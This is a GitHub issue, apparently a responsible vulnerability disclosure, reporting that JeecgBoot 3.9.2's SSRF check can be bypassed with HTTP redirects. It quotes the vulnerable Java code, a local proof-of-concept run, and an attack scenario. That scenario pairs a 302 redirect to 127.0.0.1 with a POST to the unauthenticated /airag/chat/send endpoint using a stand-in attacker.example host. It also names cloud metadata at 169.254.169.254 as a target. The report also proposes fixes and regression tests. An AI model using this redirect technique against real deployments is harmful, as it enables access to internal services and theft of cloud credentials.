Skip to content

JeecgBoot 3.9.2 SSRF protection can be bypassed with HTTP redirects #9681

@shanjijian

Description

@shanjijian

Summary

JeecgBoot 3.9.2 added SsrfFileTypeFilter.checkSsrfHttpUrl() to protect several server-side HTTP download paths from SSRF. The check validates only the original user-supplied URL. The subsequent download still uses URLConnection / HttpURLConnection with default redirect handling, so an attacker-controlled allowed URL can pass validation and then redirect the server to a blocked target such as 127.0.0.1 or 169.254.169.254.

This is a bypass of the SSRF fixes for the AI attachment and AI poster download paths.

Reporter credit requested:

shanjijian shanjijian@gmail.com

Tested repository

Repository:

https://github.com/jeecgboot/JeecgBoot

Tested commit:

3f826c440d6c5ae15bb25101a5d2055c6ad90a80

Tested version:

JeecgBoot 3.9.2

Background

The project has already fixed earlier SSRF reports in this area:

  • issues/9578: AiragChatServiceImpl.ensureLocalFile SSRF
  • issues/9579: AiragChatServiceImpl.uploadImage SSRF

The current issue is not the original missing-validation bug. It is a redirect bypass in the new validation design.

Details

SSRF validation only checks the initial URL

Relevant code:

jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/filter/SsrfFileTypeFilter.java

public static void checkSsrfHttpUrl(String fileUrl) {
    URI uri;
    try {
        uri = new URI(fileUrl);
    } catch (URISyntaxException e) {
        throw new JeecgBootException("非法URL:格式错误");
    }
    String scheme = uri.getScheme();
    if (scheme == null || !(scheme.equalsIgnoreCase("http") || scheme.equalsIgnoreCase("https"))) {
        throw new JeecgBootException("非法URL:仅允许 http / https 协议");
    }
    String host = uri.getHost();
    if (StringUtils.isBlank(host)) {
        throw new JeecgBootException("非法URL:主机名为空");
    }
    if (host.startsWith("[") && host.endsWith("]")) {
        host = host.substring(1, host.length() - 1);
    }
    try {
        for (InetAddress addr : InetAddress.getAllByName(host)) {
            if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()) {
                throw new JeecgBootException("非法URL:禁止访问本机或链路本地地址 " + addr.getHostAddress());
            }
        }
    } catch (UnknownHostException e) {
        throw new JeecgBootException("非法URL:主机名无法解析");
    }
}

The filter resolves and checks only uri.getHost() from the original URL. It does not disable redirects and does not revalidate the final redirected URL.

Download code follows redirects after validation

Relevant code:

jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/FileDownloadUtils.java

public static String download2DiskFromNet(String fileUrl, String storePath) {
    SsrfFileTypeFilter.checkSsrfHttpUrl(fileUrl);
    try {
        URL url = new URL(fileUrl);
        URLConnection conn = url.openConnection();
        conn.setConnectTimeout(3 * 1000);
        conn.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)");
        ...
        try (InputStream inStream = conn.getInputStream();
             FileOutputStream fs = new FileOutputStream(file);) {
            ...
        }
    }
}
public static InputStream getDownInputStream(String fileUrl, String uploadUrl) {
    if (oConvertUtils.isNotEmpty(fileUrl) && fileUrl.startsWith(CommonConstant.STR_HTTP)) {
        SsrfFileTypeFilter.checkSsrfHttpUrl(fileUrl);
        URL url = new URL(fileUrl);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setConnectTimeout(5000);
        connection.setReadTimeout(30000);
        return connection.getInputStream();
    }
    ...
}

For HTTP URLs, Java HttpURLConnection follows redirects by default. Because only the initial URL is checked, a safe-looking URL can redirect to a loopback or link-local target after the validation step.

Affected call paths

Unauthenticated AI attachment path:

jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/app/controller/AiragChatController.java

@IgnoreAuth
@PostMapping(value = "/send")
public SseEmitter send(@RequestBody ChatSendParams chatSendParams) {
    return chatService.send(chatSendParams);
}

AiragChatServiceImpl.ensureLocalFile() calls:

SsrfFileTypeFilter.checkSsrfHttpUrl(fileRef);
FileDownloadUtils.download2DiskFromNet(fileRef, tempFilePath);

Authenticated AI poster path:

AiragChatServiceImpl.uploadImage() calls:

SsrfFileTypeFilter.checkSsrfHttpUrl(value);
InputStream inputStream = FileDownloadUtils.getDownInputStream(value, "");

Local PoC

I reproduced the issue locally without touching any third-party system.

PoC file:

work/cve-hunt7/JeecgBootSsrfRedirectBypassRepro.java

The PoC starts two local HTTP servers:

  • A redirector reachable through a non-loopback local address.
  • A protected loopback-only server on 127.0.0.1.

The initial URL passes the JeecgBoot-style SSRF check because it resolves to a non-loopback address. The redirector then returns 302 Location: http://127.0.0.1:<port>/secret.txt. The JeecgBoot-style download code follows the redirect and reads the loopback response.

Command:

javac work/cve-hunt7/JeecgBootSsrfRedirectBypassRepro.java
java -cp work/cve-hunt7 JeecgBootSsrfRedirectBypassRepro 10.253.23.49

Observed result:

initialCheck=PASS http://10.253.23.49:62499/redirect
body=loopback-secret-from-127.0.0.1
loopbackHits=1

This confirms that the initial SSRF validation can pass while the actual server-side request reaches 127.0.0.1.

HTTP-level attack scenario

For the unauthenticated AI attachment path, an attacker can host:

HTTP/1.1 302 Found
Location: http://127.0.0.1:8080/internal.txt

Then submit a URL ending with an allowed file extension:

POST /airag/chat/send HTTP/1.1
Host: target.example
Content-Type: application/json

{
  "content": "Please summarize the attached content",
  "files": [
    "https://attacker.example/redirect.txt"
  ],
  "conversationId": "test",
  "appId": "default"
}

redirect.txt passes the file extension allowlist. The server validates attacker.example, follows the redirect, downloads the loopback/internal resource, parses it, and injects the resulting text into the AI prompt.

Impact

An attacker can bypass JeecgBoot's new SSRF protection by using an attacker-controlled redirect endpoint. Depending on deployment and enabled modules, this can allow server-side access to:

  • loopback-only services,
  • cloud metadata endpoints such as 169.254.169.254,
  • internal admin panels or APIs,
  • internal files exposed over HTTP.

The unauthenticated /airag/chat/send path is especially sensitive because downloaded attachment text is parsed and used in the AI chat flow, which may expose internal response content back to the attacker.

Severity

Suggested severity:

High

Suggested CVSS v3.1:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Score: 8.6

Rationale:

  • Network exploitable.
  • Low attack complexity.
  • No privileges required for the /airag/chat/send path because it is annotated with @IgnoreAuth.
  • No user interaction required.
  • Main impact is confidentiality through internal response disclosure, with possible integrity/availability impact depending on internal reachable services.

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Affected versions

Confirmed affected:

  • JeecgBoot 3.9.2 at commit 3f826c440d6c5ae15bb25101a5d2055c6ad90a80

Likely affected:

  • Versions containing the checkSsrfHttpUrl() fix while still using redirect-following URLConnection / HttpURLConnection download code.

Suggested fixes

Recommended fixes:

  1. Disable automatic redirects on HttpURLConnection / URLConnection request paths that fetch user-controlled URLs.
  2. If redirects are allowed, manually process each redirect hop and re-run SSRF validation on every Location URL before following it.
  3. Validate the final connected address, not only the original hostname.
  4. Block loopback, link-local, multicast, site-local/private ranges, and cloud metadata addresses unless there is an explicit allowlist requirement.
  5. Prefer an allowlist of trusted storage hosts for AI attachment and image import features.
  6. Add regression tests for:
    • allowed host redirecting to 127.0.0.1,
    • allowed host redirecting to 169.254.169.254,
    • redirect chains,
    • protocol-changing redirects,
    • DNS rebinding/final-IP validation behavior.

Submission channel

The repository currently has no SECURITY.md and no published GitHub Security Advisories. Existing security issues in this area were reported through GitHub issues:

Suggested submission URL:

https://github.com/jeecgboot/JeecgBoot/issues/new/choose

JeecgBootSsrfRedirectBypassRepro.java

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions